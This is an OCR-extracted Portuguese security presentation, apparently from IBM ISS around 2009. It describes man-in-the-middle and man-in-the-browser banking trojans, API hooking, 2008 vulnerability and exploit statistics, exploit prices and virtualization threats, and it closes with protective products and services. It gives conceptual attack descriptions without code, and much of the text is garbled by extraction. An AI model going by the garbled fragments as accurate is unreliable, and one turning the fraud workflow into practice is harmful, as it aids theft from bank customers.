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“Interceptando Trafico — Man-in-the-middle

Man-in-the-middle Técnicas de Redirecionamento:
A host under the attackers control * Altering proxy settings.g@

is inserted as a proxy between the ' e DNS modifications
victim’s and their destination « Network routing changes

e
e

Permite ao Hacker:

* View all clear text traffic

* Intercept confidential data

* Terminate SSL/TLS connections
* Modify and inject new content




Injecao no Browser

* “man-in-the-browser” colocar um agente no browser ¢é facil
» WWeb browsers e seus plugins sao vitimas faceis

» Mais de 637 milhGes de vitimas em potencial e aumentando
= Método de 4 fases

Explorar vulnerabilidades do Web browser

A

Executar shellcode
Instalar um downloader

Download do man-in-the-browser
malware

= & Opera 5 million
. Q" Safari 17 million
] @ c % Firefox 38 million
o= ) ' Estimated:
=3 T o Internet
20 - L:': Explorer
c 2 ca, 577 million
=3 :
8 c at risk due to ¥
: o not updating to
gn most secure Web

browser and plug-ins

Understanding the Web browser Threat
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Man-in-the-browser
Malware dentro do
browser

Traditional Malware




APl Hooking MaIV\‘/are_

Systema Limpo Sistema Infectado
Aplicagao

Web browser

Aplicagao
Web browser

|'S

Winlnet Malware

Manipular
httpsendrequest(), | Proxying Web browser datgess Copy, redirect,
N ——_— N, = script, change,
LaVoZeiel 74 | \ .
SEREY @J ﬁ‘—% insert, sell.

l

Winlnet

httpsendrequest(), :
- (N
CENTEE NS @ )

Winsock
TCP/IP stack '

D)

Winsock
TCP/IP stack

4

p
&
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Man-in-the-browser Malware

* Man-in-the-browser ou um “proxy Trojan”

» Opera de dentro do browser ao “hooking” API’'s
do Web browser e do OS, e faz proxying de
dados HTML

» Permite ao hacker:

= Nao se preocupar com criptografia
(SSL/TLS acontece fora do browser)

* Inspeciona qualquer conteudo (i/0)

* Injeta e manipula qualquer conteudo ANTES do
rendering
no browser

= Pode criar dinamicamente GET/POST/PUT/etc.
para qualquer destino



oy .

Crime com o Man-in-the-= /52y




MITB — Proxy Trojan Moderno

Vitima loga no banco com
seguranca, normalmente

Modifica a
pagina
apresentada

Intercepta cada
transacao

Desvia

Proxy Trojan
comeca a
funcionar

Hacker esta acima
de suspeitas...

Calcula o que
deveria estar na
conta



confirmagao

Detalhes pgto.

Detalhes
normais...

envio

O malw

Aatal

2da transacao é
confirmada pelo
cliente, na verdade
foram 2

0 envio

ware faz a
sacao real.

transferéncias /

\

da validagao

Cliente entra
com outra

Background I\ﬂ

validacao A

Malware atua

Malware cria uma
mensagem de erro e volta
a solicitar a chave de
validagao

-

Cliente clica pa

\

- |

» de

" =

anio




Man-in-the-browser possibilidades...

= Como € possivel confiar em algo que vem
via o web browser?
" nUMeros...

» 25-30% de todos os pc's ja estao
infectados...
= 50-200 milhdes de bots...

= 637 milhdes de Web browsers mal
atualizados...

= continuar negocios com o browser “nao-
confiavel” do cliente?







VU LNERABILIDADES
& EXPLOITS




Vulnerabilidades em 2008

» Recorde em 2008: 7406 novas vulnerabildades! (aumento de
13.5% desde 2007)

» Equivale a 19% de todas as vulnerabilidades catalogadas
pela X-Force desde sua criacao (faz uma decada).

8,000

7,000
6,000
5,000
4,000
3,000
2,000

1,000

0

| I | I I I I
2000 2001 2002 2003 2004 2005 2006 2007 2008



Vulnerabilidades em aplicacoes web

Equivalem a quase 55% de todos os disclosures de 2008
74% das descobertas acima, ndo tinham patch disponivel.
Sql injection aumentou 134% passando XSS.

Spammers focando em enviar url’s...

No Patch
Available

74%

Web
Applications

54.9%




Exploits mais usados
® Principais exploits usados na exploracao de browsers em 2008

Most Popular Exploits

Rank 2008 (Full Year) 2008 H2 (Second Half)

1. Microsoft MDAC RDS Dataspace Microsoft MDAC RDS Dataspace
ActiveX (CVE-2006-0003) ActiveX (CVE-2006-0003)

2. RealPlayer IERPCH ActiveX Microsoft WebViewFolderlcon ActiveX
(CVE-2007-5601) (CVE-2006-3730)

3. Apple QuickTime RSTP URL Internet Explorer “createControlRange”
(CVE-2007-0015) DHTML (CVE-2005-0055)

4. Microsoft WebViewFolderlcon ActiveX RealPlayer IERPCH ActiveX
(CVE-2006-3730) (CVE-2007-5601)

5. Internet Explorer “createControlRange” Apple QuickTime RSTP URL
DHTML (CVE-2005-0055) (CVE-2007-0015)




Alvo primario: Browser Plug-Ins

* Plugins do browser foram

0s principais alvos
80%

= 46% de todas as 70%

vulnerabilidades do co0s

browser '
0% ActiveX

Internet Explorer

B Firefox

B vuttiple
Browsers,

Other Browsers
& Plug-ins

40%

30%

20%

10%

2005 2006 2007 2008



Tipos de Exploits sendo usados?

Malicious Website Exploits

por aplicagao afetadas
mmm Foco em tecnologia microsoft (ActiveX e Internet
Adobe Flash Exp|orer).

14.8% Softaware Adobe

| Generic Exploit
or Obfuscation
Microsoft 7.1%

Internet Explorer
34.0%



Disponibilidade de codigo de Exploracao

» Exploits novos para browsers e plug-ins estao em
alta demanda

= O-day exploit IE/FF = $25,000-$75,000
= exploit no mesmo dia = $2,000-$30,000

= Exploit de 3 dias de idade = $5-$500

= Drive-by-download exploit packs e servicos de
suporte motivam a disponibilidade de exploits

» Managed services e C&C para distribuicao

= Novos exploits podem ser propagados para
milhares de sites/engines em segundos




100%
90%
80%
70%
60%
50%

40% Same Day

%
30° After \/
20% Disclosure
10% . Before

= Disclosure

2005 2006 2007 2008




Virtualizacao e Seguranca

» Virtualizacao != Seguranca

= particionamento divide as VMs,
mais nao as protege.

= Mesmo principio € aplicavel
— Defesa em profundidade
— Desenho de rede e segmentacao

— Gerenciamento de seguranca
centralizado




Ameacas...

» Ataques de disponibilidade
— Dominar um unico guest

— Sair do guest

— Comprometer a console/gerencia virtual

 Criar meus guests maliciosos
» Reajustar quotas de recursos
» Desligar maquinas

— Comprometer o VMM/Hypervisor
« EnGameOver()




Olhando para
o Horizonte

¥ By,




Tendéncias Futuras e Expectativas

» Fono em explorar usuario final
= Novos paradigmas
» “Time to Exploit” encolhendo
» Consolidacao do processo de lavagem de dinheiro

* Franquias de mecanismos de ataques, frameworks
avancados, etc..




Conclusoes

» Ameacas “parasitas” estao
presentes
» Evolucao do “hacking-as-a-
service’
» Automatizacao global de ataques

» Script-kiddies agora tem
diplomas

= Novas tecnicas, tecnologias

= /t’s not personal — this is
business!




Por outro lado nossa vida pode ficar mais facill...

= A pior ameaca contra o proveedor de
exploits sao eles mesmos

* Protegendo seus investimentos...
» Clonagem faz precos cairem...

» Mais dificil de gerar sustento.
» As Barreiras para entrar no crime digital
vem caindo..
» Se hackers brigam entre si, ganhamos
tempo com isso...

* Sim...porém ainda somos superados
numericamente...




Estrategias de
Protecao




“Tem um Elefante no quarto

N

Staff e consultores de seguranca devem
entender a amega e recomendar agoes
adequadas.

Como proteger o cliente de seus clientes...
A complexidade gera oportunidade de
engenharia social

Malware complica a situacao mais ainda...

1
~




irtualizac;o . Futuro

Finance Engineering

Nova gerancao de Seguranca para
virtualizagao:

=Aplica defesa em profundidade
»Facilita o gerenciamento.

»Instala VM de seguranca em cada
maquina

»Integra seguranca VM com VMM.

Features da Security VM:

Security
APIs

»Protecao de rede centralizada
»Proteg¢ao do host sem agente.
»Policy-based MAC e isolamento
=\/M NAC, assessment, e controle.




< e S =

Esta convergéncia de ameacas forca uma mudanca
no modo de trabalhar com seguranca e tecnologia

» Pois a eficiéncia da tecnologia de protecao verdadeiramente
depende de novas capacidades, propostas € mecanismos. Entender
0S NoVOos requisitos e o cenario atual de riscos € chave!

2009
é Integrated Virtual Protection
6 Web Protection Technology
i Content Analyzer
i Shell Code Heuristics
a Malmedia (Malicious Multimedia)
ﬁ Content Level Inspection

@ rrotocol Analysis

"
1997



Tecnologis para Protecao Corporativa

= Network IPS

— Protecao de Rede em tempo real

* Protecao contra intrusos de
servidores

— Monitoracgao total I 28
|
i
i

— Integridade de arquivos, etc

= Seguranga de infra de email e :
antispam E| e S

= Multi-funcional com best of breed

* Protecao do endpoint

» Gerenciamento de vulnerabilidades

= Apoio de Servigos Profissionais




Servicos para uma Infraestrutura
Dinamica

Managed Security Services sSecurity Enablementi Services

I8N Mamaged and IEM Yulnerabllity
Monttored Firewall Zervices E Managemeni Services
2
managed 1AM E Sapurity Event
N Managemeni Sarvicas
1B Mamaged IPS and 105 Services E -
= II Secura Log Mamagemant Sarvices
3 —~1
Managed Dala Security Services "'_"
L IBM 55 X-Fome®
= Threal Analysls Services
IBM Managed UTM Services = 1w
=
=] — =

Managed Email

ffanzoed Protection Services Wl Securliy

Multiple Platiorms & Products



Ricardo Marques

IBM Internet Security Systems
marquesr@br.ibm.com
http://www.iss.net
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